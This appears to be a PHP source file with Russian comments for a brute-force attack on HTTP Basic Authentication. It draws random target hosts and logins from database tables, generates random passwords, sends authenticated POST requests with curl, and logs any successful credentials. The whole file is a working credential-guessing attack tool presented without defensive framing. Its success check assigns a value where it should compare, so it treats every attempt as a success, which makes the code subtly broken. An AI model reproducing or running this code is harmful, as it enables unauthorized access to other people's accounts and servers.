114 lines
4.0 KiB
PHP
114 lines
4.0 KiB
PHP
<?php
|
||
|
||
|
||
|
||
$_SERVER['SERVER_NAME']='tk-ligat.ru';
|
||
require_once('/home/cloud/core/set/tk-ligat.ru.php');
|
||
require_once('/home/cloud/core/api/php/db.php');
|
||
require_once('/home/cloud/core/api/php/json.php');
|
||
|
||
|
||
|
||
|
||
//генерируем случайный набор символов случайной длины
|
||
function gen_random($minlen, $maxlen){
|
||
//делаем случайную длину
|
||
$len=rand($minlen, $maxlen);
|
||
$arr = array(
|
||
//'!', '@', '#', '$', '%', '^', '&', '*', '(', ')',
|
||
//'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ё', 'Ж', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я',
|
||
//'а', 'б', 'в', 'г', 'д', 'е', 'ё', 'х', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я',
|
||
'A', 'B', 'C', 'D', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z',
|
||
//'a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z',
|
||
'1','2','3','4','5','6','7','8','9','0');
|
||
$pass = "";
|
||
for($i = 0; $i < $len; $i++){
|
||
$index = rand(0, count($arr) - 1);
|
||
$pass .= $arr[$index];}
|
||
return $pass;
|
||
}
|
||
|
||
/* ищет str в txt если находит, возвращает единичку */
|
||
function findtxt($txt, $str){
|
||
$pos1 = stripos($txt, $str);
|
||
if ($pos1 === false) return 0;
|
||
else
|
||
return 1;
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
function brut($login='admin', $pwd=123, $host='localhost'){
|
||
$url = $host; // url, на который отправляется запрос
|
||
|
||
$post_data = [ // поля нашего запроса
|
||
'field1' => 'val_1',
|
||
'field2' => 'val_2',
|
||
];
|
||
|
||
|
||
|
||
$headers = [
|
||
"Authorization: Basic " . base64_encode($login . ":" . $pwd) . "\r\n"
|
||
]; // заголовки запроса
|
||
|
||
$post_data = http_build_query($post_data);
|
||
|
||
$curl = curl_init();
|
||
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
|
||
curl_setopt($curl, CURLOPT_TIMEOUT, 10); //timeout in seconds
|
||
|
||
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
|
||
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
||
curl_setopt($curl, CURLOPT_VERBOSE, 1);
|
||
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
|
||
curl_setopt($curl, CURLOPT_URL, $url);
|
||
curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос
|
||
$result = trim(curl_exec($curl));
|
||
|
||
|
||
$http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE);
|
||
|
||
$res['http']=$http_code;
|
||
//echo $http_code;
|
||
|
||
if (findtxt($http_code, '401')==1) $res['res']='bad';
|
||
if (findtxt($http_code, '200')==1) $res['res']='good';
|
||
|
||
return $res;
|
||
//if ($result=='Unauthorized') return 'bad'; else return 'good';
|
||
}
|
||
|
||
|
||
for($i = 0; $i < 1500; $i++){
|
||
$password = gen_random(5, 15);
|
||
//Берем рандомный хост
|
||
$host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1');
|
||
//Берем рандомный login
|
||
$login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1');
|
||
//узнаем буртили ли такой пароль...
|
||
$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password);
|
||
if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password)));
|
||
|
||
|
||
|
||
$id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=?", array($host, $login, $password));
|
||
if (!$id){
|
||
$res=brut($login, $password, $host);
|
||
|
||
if ($res['res']='good') {
|
||
DB::add("INSERT INTO `brut_good` (`host`, `login`, `pwd`) VALUES(?, ?, ?)", array($host, $login, $password));
|
||
die('pwd: ' . $password);
|
||
}else{
|
||
if ($res['http'])DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `http`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http']));
|
||
}
|
||
}
|
||
unset($id);
|
||
}
|
||
|
||
|
||
?>
|